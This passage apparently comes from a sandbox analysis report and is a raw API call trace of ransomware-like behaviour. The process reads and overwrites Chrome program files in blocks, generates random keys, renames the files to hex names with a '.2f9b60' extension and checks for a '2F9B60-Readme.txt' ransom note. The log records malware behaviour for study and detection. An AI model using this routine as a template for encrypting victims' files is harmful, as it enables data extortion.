NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157c20 [0226.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157c20) returned 1 [0226.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43079180) returned 1 [0226.920] NtQueryInformationFile (in: FileHandle=0x7c8, IoStatusBlock=0x2e37fd18, FileInformation=0x2e37fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e37fd18, FileInformation=0x2e37fd28) returned 0x0 [0226.920] NtSetInformationFile (FileHandle=0x7c8, IoStatusBlock=0x2e37fd18, FileInformation=0x2e37fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c720) returned 1 [0235.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431108a0) returned 1 [0235.295] FlushFileBuffers (hFile=0x7c8) returned 1 [0238.169] CloseHandle (hObject=0x7c8) returned 1 [0240.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64d10 [0240.412] wcscpy (in: _Dest=0x1cd64d10, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0240.412] wcscat (in: _Dest=0x1cd64d10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0240.412] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0240.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64d10) returned 1 [0240.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106dc0) returned 1 Thread: id = 2501 os_tid = 0x1f88 [0154.525] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak")) returned 0x20 [0154.526] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak", dwFileAttributes=0x20) returned 1 [0154.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7c4 [0154.528] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x1d05fb80 | out: lpFileSize=0x1d05fb80*=723842) returned 1 [0154.528] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xb0b7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.528] ReadFile (in: hFile=0x7c4, lpBuffer=0x1d05fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d05fb48, lpOverlapped=0x0 | out: lpBuffer=0x1d05fb00*, lpNumberOfBytesRead=0x1d05fb48*=0x4, lpOverlapped=0x0) returned 1 [0154.589] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ad0 [0154.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b60 [0154.590] NtQuerySystemTime (in: CurrentTime=0x1d05fa40 | out: CurrentTime=0x1d05fa40*=132462177597202000) returned 0x0 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x1051a05 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x2c7a79db [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x48f41a1b [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x4fea4bf7 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x3f98f2a1 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x7e3537e8 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0xc434d20 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x18ead9c1 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x5845f671 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x62abefb7 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x4e93b80e [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x16030db8 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x3bf27050 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x2312a584 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x39c5dbef [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x6c0fa110 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x5e99f3b7 [0154.590] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x26d2f459 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x1c5a9acd [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x15339c3e [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x505f0323 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0xe425531 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x2219a929 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x15577e2c [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0xa31259b [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x5951c742 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x2115a3e2 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x18d5cff8 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x49fac8b9 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x7fd920a8 [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x17bb86dd [0154.591] RtlRandomEx (in: Seed=0x1d05fa30 | out: Seed=0x1d05fa30) returned 0x3a1a433e [0154.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b90 [0154.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c7c0 [0154.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9bc0 [0154.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c7c0) returned 1 [0154.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9b60) returned 1 [0154.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428252c0 [0154.599] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.600] ReadFile (in: hFile=0x7c4, lpBuffer=0x428252c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d05faa0, lpOverlapped=0x0 | out: lpBuffer=0x428252c0*, lpNumberOfBytesRead=0x1d05faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0154.721] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42843630 [0154.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9da0 [0154.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9da0) returned 1 [0154.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0154.723] WriteFile (hFile=0x7c4, lpBuffer=0x42843630, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d05faa0, lpOverlapped=0x0) [0194.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42843630) returned 1 [0194.522] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x5a000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.522] ReadFile (in: hFile=0x7c4, lpBuffer=0x428252c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d05faa0, lpOverlapped=0x0 | out: lpBuffer=0x428252c0*, lpNumberOfBytesRead=0x1d05faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.585] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x5a000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba460 [0194.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5240 [0194.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5240) returned 1 [0194.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20446ac0 [0194.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5240 [0194.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a51b0 [0194.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a51b0) returned 1 [0194.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba460) returned 1 [0194.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.588] WriteFile (in: hFile=0x7c4, lpBuffer=0x20446ac0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d05faa0, lpOverlapped=0x0 | out: lpBuffer=0x20446ac0*, lpNumberOfBytesWritten=0x1d05faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20446ac0) returned 1 [0205.395] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xacf82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.396] ReadFile (in: hFile=0x7c4, lpBuffer=0x428252c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d05faa0, lpOverlapped=0x0 | out: lpBuffer=0x428252c0*, lpNumberOfBytesRead=0x1d05faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.491] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xacf82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0205.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262450) returned 1 [0205.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a809e0 [0205.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0205.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0205.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0205.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.495] WriteFile (in: hFile=0x7c4, lpBuffer=0x42a809e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d05faa0, lpOverlapped=0x0 | out: lpBuffer=0x42a809e0*, lpNumberOfBytesWritten=0x1d05faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a809e0) returned 1 [0215.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431054b0 [0215.028] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.028] WriteFile (in: hFile=0x7c4, lpBuffer=0x1ceb9b90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x1d05fb50, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9b90*, lpNumberOfBytesWritten=0x1d05fb50*=0x15e, lpOverlapped=0x0) returned 1 [0219.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0219.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0219.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0219.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431adc20 [0219.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0219.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0219.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b70) returned 1 [0219.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0219.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x43105600 [0219.303] sprintf (in: _Dest=0x43105600, _Format="%c%c" | out: _Dest="89") returned 2 [0219.303] sprintf (in: _Dest=0x43105602, _Format="%c%c" | out: _Dest="d0") returned 2 [0219.303] sprintf (in: _Dest=0x43105604, _Format="%c%c" | out: _Dest="b4") returned 2 [0219.303] sprintf (in: _Dest=0x43105606, _Format="%c%c" | out: _Dest="7f") returned 2 [0219.303] sprintf (in: _Dest=0x43105608, _Format="%c%c" | out: _Dest="e0") returned 2 [0219.303] sprintf (in: _Dest=0x4310560a, _Format="%c%c" | out: _Dest="10") returned 2 [0219.303] sprintf (in: _Dest=0x4310560c, _Format="%c%c" | out: _Dest="16") returned 2 [0219.303] sprintf (in: _Dest=0x4310560e, _Format="%c%c" | out: _Dest="a9") returned 2 [0219.304] sprintf (in: _Dest=0x43105610, _Format="%c%c" | out: _Dest="03") returned 2 [0219.304] sprintf (in: _Dest=0x43105612, _Format="%c%c" | out: _Dest="87") returned 2 [0219.304] sprintf (in: _Dest=0x43105614, _Format="%c%c" | out: _Dest="6b") returned 2 [0219.304] sprintf (in: _Dest=0x43105616, _Format="%c%c" | out: _Dest="11") returned 2 [0219.304] sprintf (in: _Dest=0x43105618, _Format="%c%c" | out: _Dest="8b") returned 2 [0219.304] sprintf (in: _Dest=0x4310561a, _Format="%c%c" | out: _Dest="3a") returned 2 [0219.304] sprintf (in: _Dest=0x4310561c, _Format="%c%c" | out: _Dest="37") returned 2 [0219.304] sprintf (in: _Dest=0x4310561e, _Format="%c%c" | out: _Dest="fd") returned 2 [0219.304] sprintf (in: _Dest=0x43105620, _Format="%c%c" | out: _Dest="ca") returned 2 [0219.304] sprintf (in: _Dest=0x43105622, _Format="%c%c" | out: _Dest="34") returned 2 [0219.304] sprintf (in: _Dest=0x43105624, _Format="%c%c" | out: _Dest="44") returned 2 [0219.304] sprintf (in: _Dest=0x43105626, _Format="%c%c" | out: _Dest="41") returned 2 [0219.304] sprintf (in: _Dest=0x43105628, _Format="%c%c" | out: _Dest="3b") returned 2 [0219.304] sprintf (in: _Dest=0x4310562a, _Format="%c%c" | out: _Dest="90") returned 2 [0219.304] sprintf (in: _Dest=0x4310562c, _Format="%c%c" | out: _Dest="58") returned 2 [0219.304] sprintf (in: _Dest=0x4310562e, _Format="%c%c" | out: _Dest="f5") returned 2 [0219.304] sprintf (in: _Dest=0x43105630, _Format="%c%c" | out: _Dest="b5") returned 2 [0219.304] sprintf (in: _Dest=0x43105632, _Format="%c%c" | out: _Dest="c8") returned 2 [0219.304] sprintf (in: _Dest=0x43105634, _Format="%c%c" | out: _Dest="f9") returned 2 [0219.304] sprintf (in: _Dest=0x43105636, _Format="%c%c" | out: _Dest="15") returned 2 [0219.304] sprintf (in: _Dest=0x43105638, _Format="%c%c" | out: _Dest="42") returned 2 [0219.304] sprintf (in: _Dest=0x4310563a, _Format="%c%c" | out: _Dest="cf") returned 2 [0219.304] sprintf (in: _Dest=0x4310563c, _Format="%c%c" | out: _Dest="52") returned 2 [0219.304] sprintf (in: _Dest=0x4310563e, _Format="%c%c" | out: _Dest="1d") returned 2 [0219.304] sprintf (in: _Dest=0x43105640, _Format="%c%c" | out: _Dest="bb") returned 2 [0219.304] sprintf (in: _Dest=0x43105642, _Format="%c%c" | out: _Dest="ce") returned 2 [0219.305] sprintf (in: _Dest=0x43105644, _Format="%c%c" | out: _Dest="86") returned 2 [0219.305] sprintf (in: _Dest=0x43105646, _Format="%c%c" | out: _Dest="bd") returned 2 [0219.305] sprintf (in: _Dest=0x43105648, _Format="%c%c" | out: _Dest="25") returned 2 [0219.305] sprintf (in: _Dest=0x4310564a, _Format="%c%c" | out: _Dest="34") returned 2 [0219.305] sprintf (in: _Dest=0x4310564c, _Format="%c%c" | out: _Dest="eb") returned 2 [0219.305] sprintf (in: _Dest=0x4310564e, _Format="%c%c" | out: _Dest="9c") returned 2 [0219.305] sprintf (in: _Dest=0x43105650, _Format="%c%c" | out: _Dest="07") returned 2 [0219.305] sprintf (in: _Dest=0x43105652, _Format="%c%c" | out: _Dest="77") returned 2 [0219.305] sprintf (in: _Dest=0x43105654, _Format="%c%c" | out: _Dest="7f") returned 2 [0219.305] sprintf (in: _Dest=0x43105656, _Format="%c%c" | out: _Dest="15") returned 2 [0219.305] RtlInitAnsiString (in: DestinationString=0x1d05fbc8, SourceString="89d0b47fe01016a903876b118b3a37fdca3444413b9058f5b5c8f91542cf521dbbce86bd2534eb9c07777f15" | out: DestinationString="89d0b47fe01016a903876b118b3a37fdca3444413b9058f5b5c8f91542cf521dbbce86bd2534eb9c07777f15") [0219.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d05fb98, SourceString="89d0b47fe01016a903876b118b3a37fdca3444413b9058f5b5c8f91542cf521dbbce86bd2534eb9c07777f15", AllocateDestinationString=1 | out: DestinationString="89d0b47fe01016a903876b118b3a37fdca3444413b9058f5b5c8f91542cf521dbbce86bd2534eb9c07777f15") returned 0x0 [0219.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431114a0 [0219.306] wcscat (in: _Dest=0x4310dde0, _Source="89d0b47fe01016a903876b" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\89d0b47fe01016a903876b") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\89d0b47fe01016a903876b" [0219.306] wcscat (in: _Dest=0x4310dde0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\89d0b47fe01016a903876b.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\89d0b47fe01016a903876b.2f9b60" [0219.306] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\89d0b47fe01016a903876b.2f9b60", NtPathName=0x1d05fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\89d0b47fe01016a903876b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157ec0 [0226.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157ec0) returned 1 [0226.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43080c00) returned 1 [0226.921] NtQueryInformationFile (in: FileHandle=0x7c4, IoStatusBlock=0x1d05fbd8, FileInformation=0x1d05fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d05fbd8, FileInformation=0x1d05fbe8) returned 0x0 [0226.921] NtSetInformationFile (FileHandle=0x7c4, IoStatusBlock=0x1d05fbd8, FileInformation=0x1d05fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310dde0) returned 1 [0235.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431114a0) returned 1 [0235.298] FlushFileBuffers (hFile=0x7c4) returned 1 [0238.170] CloseHandle (hObject=0x7c4) returned 1 [0240.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64dc0 [0240.413] wcscpy (in: _Dest=0x1cd64dc0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0240.413] wcscat (in: _Dest=0x1cd64dc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0240.413] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0240.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 [0240.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 Thread: id = 2502 os_tid = 0x1f8c [0154.530] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll.sig")) returned 0x20 [0154.530] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig", dwFileAttributes=0x20) returned 1 [0154.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x538 [0154.531] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2de8f6c0 | out: lpFileSize=0x2de8f6c0*=1407) returned 1 [0154.531] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.531] ReadFile (in: hFile=0x538, lpBuffer=0x2de8f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2de8f688, lpOverlapped=0x0 | out: lpBuffer=0x2de8f640*, lpNumberOfBytesRead=0x2de8f688*=0x4, lpOverlapped=0x0) returned 1 [0154.601] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b60 [0154.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9bf0 [0154.601] NtQuerySystemTime (in: CurrentTime=0x2de8f580 | out: CurrentTime=0x2de8f580*=132462177597358000) returned 0x0 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x2977782 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x3a4a012 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x7f218831 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x24657d5c [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x5b995f1b [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x39d7ab09 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x5c5d2327 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x3e97de21 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x6da42b69 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x625fa95d [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x284de648 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x77bfbac1 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x6a724096 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x4c190523 [0154.601] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x90114eb [0154.601] 